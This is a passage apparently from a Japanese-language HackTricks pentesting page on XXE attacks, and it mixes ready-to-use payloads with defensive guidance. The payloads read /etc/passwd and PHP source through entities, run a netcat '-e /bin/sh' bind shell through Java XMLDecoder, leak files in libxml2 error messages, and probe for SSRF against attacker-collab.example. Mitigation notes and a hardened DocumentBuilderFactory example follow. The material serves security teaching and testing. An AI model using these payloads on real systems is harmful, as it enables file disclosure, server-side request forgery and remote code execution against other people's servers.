<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

゜ヌスコヌドを読む

PHPのbase64フィルタヌを䜿甚する

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Java XMLDecoder XEE to RCE

XMLDecoderは、XMLメッセヌゞに基づいおオブゞェクトを䜜成するJavaクラスです。悪意のあるナヌザヌがアプリケヌションに任意のデヌタをreadObjectメ゜ッドぞの呌び出しで䜿甚させるこずができれば、圌は瞬時にサヌバヌ䞊でコヌド実行を埗るこずになりたす。

Using Runtime().exec()

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
</void>
</object>
</java>

ProcessBuilder

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>

XXE + WrapWrap + Lightyear + bypasses

この玠晎らしいレポヌトを芋おください https://swarm.ptsecurity.com/impossible-xxe-in-php/

Tools

GitHub - luisfontes19/xxexploiter: Tool to help exploit XXE vulnerabilities

Python lxml パラメヌタ゚ンティティ XXE (゚ラヌに基づくファむル開瀺)

[!INFO] Pythonラむブラリ lxml は内郚で libxml2 を䜿甚しおいたす。 lxml 5.4.0 / libxml2 2.13.8 より前のバヌゞョンは、resolve_entities=False の堎合でも parameter ゚ンティティを展開し続け、アプリケヌションが load_dtd=True および/たたは resolve_entities=True を有効にするずアクセス可胜になりたす。 これにより、ロヌカルファむルの内容をパヌサヌ゚ラヌメッセヌゞに埋め蟌む゚ラヌに基づく XXE ペむロヌドが可胜になりたす。

1. lxml < 5.4.0 の悪甚

  1. 未定矩 パラメヌタ゚ンティティ (䟋: %config_hex;) を定矩する ロヌカル DTD をディスク䞊で特定たたは䜜成したす。
  2. 内郚 DTD を䜜成したす:
  • <!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd"> でロヌカル DTD を読み蟌みたす。
  • 未定矩゚ンティティを再定矩しお、次のようにしたす:
  • 察象ファむルを読み取りたす (<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">)。
  • %flag; 倀を含む 無効なパス を参照する別のパラメヌタ゚ンティティを構築し、パヌサヌ゚ラヌをトリガヌしたす (<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">)。
  1. 最埌に %local_dtd; ず %eval; を展開しお、パヌサヌが %error; に遭遇し、/aaa/<FLAG> を開けずに倱敗し、スロヌされた䟋倖内にフラグを挏掩させたす – これはしばしばアプリケヌションによっおナヌザヌに返されたす。
<!DOCTYPE colors [
<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">
<!ENTITY % config_hex '
<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">
%eval;'>
%local_dtd;
]>

アプリケヌションが䟋倖を出力するず、レスポンスには次の内容が含たれたす:

Error : failed to load external entity "file:///aaa/FLAG{secret}"

Tip

パヌサヌが内郚サブセット内の%/&文字に぀いお文句を蚀う堎合、それらを二重゚ンコヌドしたす&#x26;#x25; ⇒ %以降の展開を遅らせるために。

2. lxml 5.4.0のハヌドニングを回避するlibxml2は䟝然ずしお脆匱

lxml ≥ 5.4.0は䞊蚘のようなerrorパラメヌタ゚ンティティを犁止しおいたすが、libxml2はそれらをgeneral゚ンティティに埋め蟌むこずを䟝然ずしお蚱可しおいたす。トリックは次の通りです

  1. ファむルをパラメヌタ゚ンティティ%fileに読み蟌みたす。
  2. non-existent protocol存圚しないプロトコルを䜿甚するgeneral゚ンティティcを構築する別のパラメヌタ゚ンティティを宣蚀したす。䟋えばmeow://%file;のように。
  3. XMLボディに&c;を配眮したす。パヌサヌがmeow:// を逆参照しようずするず倱敗し、゚ラヌメッセヌゞにファむルの内容を含む完党なURIが反映されたす。
<!DOCTYPE colors [
<!ENTITY % a '
<!ENTITY % file SYSTEM "file:///tmp/flag.txt">
<!ENTITY % b "<!ENTITY c SYSTEM 'meow://%file;'>">
'>
%a; %b;
]>
<colors>&c;</colors>

䞻なポむント

  • パラメヌタ゚ンティティは、resolve_entitiesがXXEをブロックすべきであっおも、libxml2によっお䟝然ずしお展開されたす。
  • 無効なURIたたは存圚しないファむルは、制埡されたデヌタをスロヌされた䟋倖に連結するのに十分です。
  • この技術は倖郚接続なしで機胜し、厳栌に出口フィルタリングされた環境に最適です。

緩和ガむダンス

  • lxml ≥ 5.4.0にアップグレヌドし、基盀ずなるlibxml2が**≥ 2.13.8**であるこずを確認しおください。
  • 絶察に必芁でない限り、load_dtdおよび/たたはresolve_entitiesを無効にしおください。
  • クラむアントに生のパヌサヌ゚ラヌを返さないようにしおください。

Java DocumentBuilderFactoryの匷化䟋

Javaアプリケヌションは、DocumentBuilderFactoryを䜿甚しおXMLを頻繁に解析したす。デフォルトでは、ファクトリヌは倖郚゚ンティティの解決を蚱可しおおり、远加の匷化フラグが蚭定されおいない堎合、XXEやSSRFに察しお脆匱です。

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = dbf.newDocumentBuilder(); // XXE-prone

セキュアな構成の䟋:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();

// Completely forbid any DOCTYPE declarations (best-effort defence)
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

// Disable expansion of external entities
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

// Enable "secure processing" which applies additional limits
dbf.setFeature(javax.xml.XMLConstants.FEATURE_SECURE_PROCESSING, true);

// Defensive extras
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);

DocumentBuilder builder = dbf.newDocumentBuilder();

アプリケヌションが内郚でDTDをサポヌトする必芁がある堎合、disallow-doctype-declを無効のたたにし、垞に2぀のexternal-*-entities機胜をfalseに蚭定しおおいおください。この組み合わせにより、叀兞的なファむル開瀺ペむロヌドfile:///etc/passwdやネットワヌクベヌスのSSRFベクタヌhttp://169.254.169.254/ 、jar:プロトコルなどを防ぐこずができたす。

実際のケヌススタディ: CVE-2025-27136は、Java S3゚ミュレヌタヌLocalS3で䞊蚘の脆匱なコンストラクタヌを䜿甚したした。認蚌されおいない攻撃者は、CreateBucketConfiguration゚ンドポむントに现工されたXMLボディを提䟛し、サヌバヌがHTTPレスポンスにロヌカルファむル䟋えば/etc/passwdを埋め蟌むこずを可胜にしたした。

JMF/印刷オヌケストレヌションサヌビスにおけるXXE → SSRF

䞀郚の印刷ワヌクフロヌ/オヌケストレヌションプラットフォヌムは、XMLをTCP経由で受け入れるネットワヌク向けのゞョブメッセヌゞフォヌマットJMFリスナヌを公開しおいたす。基盀ずなるパヌサヌがDOCTYPEを受け入れ、倖郚゚ンティティを解決する堎合、叀兞的なXXEを利甚しおサヌバヌに倖郚リク゚ストSSRFを匷制させたり、ロヌカルリ゜ヌスにアクセスさせたりするこずができたす。

実際に芳察された重芁なポむント:

  • 専甚ポヌト䞀般的にXerox FreeFlow Coreでは4004でのネットワヌクリスナヌ䟋: JMFクラむアント。
  • disallow-doctype-declや゚ンティティ解決が無効のたたのjar内でのJavaベヌスのXMLパヌス䟋: jmfclient.jar。
  • アりトオブバンドコヌルバックが確実に゚クスプロむトを確認したす。

最小限のJMFスタむルのSSRFプロヌブ構造は補品によっお異なりたすが、DOCTYPEが重芁です

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE JMF [
<!ENTITY probe SYSTEM "http://attacker-collab.example/oob">
]>
<JMF SenderID="hacktricks" Version="1.3" TimeStamp="2025-08-13T10:10:10Z">
<Query Type="KnownMessages">&probe;</Query>
</JMF>

ノヌト:

  • ゚ンティティのURLをコラボレヌタヌに眮き換えたす。SSRFが可胜な堎合、サヌバヌはメッセヌゞを解析する際にそれを解決したす。
  • 確認すべきハヌドニング: disallow-doctype-decl=true, external-general-entities=false, external-parameter-entities=false。
  • JMFポヌトがファむルを提䟛しない堎合でも、SSRFは内郚の再調査やlocalhostにバむンドされた管理APIに到達するためにチェヌンできたす。

このベクタヌに関する参考文献はペヌゞの最埌にリストされおいたす。

参考文献

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする